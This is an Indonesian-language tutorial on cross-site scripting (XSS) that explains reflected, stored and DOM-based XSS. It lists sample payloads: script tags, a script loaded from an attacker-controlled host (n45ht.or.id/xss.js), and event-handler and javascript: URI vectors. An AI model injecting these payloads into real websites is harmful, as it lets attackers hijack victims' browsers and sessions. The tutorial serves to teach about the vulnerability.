Cross-site scripting (XSS) adalah kerentanan yang paling umum dalam aplikasi web dan memungkinkan Attacker untuk mengontrol browser korban dan interaksinya dengan situs web yang diberikan. XSS dilakukan oleh Attacker dengan cara memasukkan client script code ke suatu situs lewat parameter URL atau bidang input dan yang lainnya, aplikasi website yang mempunyai kelemahan ini memberi jalan Attacker untuk memanipulasi sebuah halaman. Manipulasi ini, secara umum disebut injeksi, adalah serangan XSS.
Browser menampilkan sebuah halaman dengan HTML(Hypertext Markup Language) dan bahasa pemrogramman yang biasa disebut JavaScript. JavaScript bertanggung jawab untuk membuat berbagai hal berjalan sebagai respons terhadap tindakan yang terjadi pada suatu web/aplikasi, misalnya seperti memuat halaman lain, fungsi drag/drop pada suatu halaman, atau apapun yang dilakukan oleh halaman website dengan cepat(tanpa harus memuat ulang/reload) adalah hal-hal yang dilakukan oleh JavaScript.
Dalah sebuah dokumen HTML, JavaScript dapat berjalan menggunakan tag <script> </script>. Jika Attacker dapat melakukan injeksi tag tersebut (semua kode JavaScript dapat dieksekusi jika tidak ada filter sama sekali) dan Attacker akan mendapat kendali penuh atasnya.
JavaScript juga dapat muncul dalam elemen HTML, tag biasa. Dengan cara event handler di dalamnya, seperti "onload" (ketika elemen halaman dimuat oleh browser) atau "onmouseover" (ketika pointer mouse ada diatas sesuatu), kode JavaScript juga dapat dijalankan. Ini meningkatkan jumlah vektor untuk serangan XSS.
XSS bisa terjadi dikarenakan kode (response) dari server atau dari sisi client karena request yang diminta oleh browser.
Reflected XSS merupakan tipe XSS yang paling umum dan paling banyak ditemukan, Reflected XSS terjadi karena setiap request dari url (seperti parameter) ditampilkan kembali oleh server tanpa adanya filter.
Stored XSS adalah serangan dimana payloads yang digunakan tersimpan secara permanen di server target, seperti dalam database, di forum pesan, log pengunjung, bidang komentar, dll.
Selain Stored dan Reflected XSS, ada tipe lain dari XSS, yaitu XSS Berbasis DOM diidentifikasi oleh Amit Klein pada tahun 2005.
1. Dengan tag <script>
<script>alert(1)</script>
atau
<script src=//HOST/SCRIPT></script>
Dengan HOST menjadi domain atau alamat IP punya attacker dan SCRIPT menjadi script dengan alert(1)
sebagai konten, seperti:
<script src=//n45ht.or.id/xss.js></script>
2. Dengan Tag HTML biasa
<TAG EVENT=alert(1)>
Contoh:
<body onload=alert(1)>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<x onmouseover=alert(1)>
- Resource-based
<TAG RESOURCE=javascript:alert(1)>
Contoh:
<iframe src=javascript:alert(1)>
<object data=javascript:alert(1)>
#HappyHacking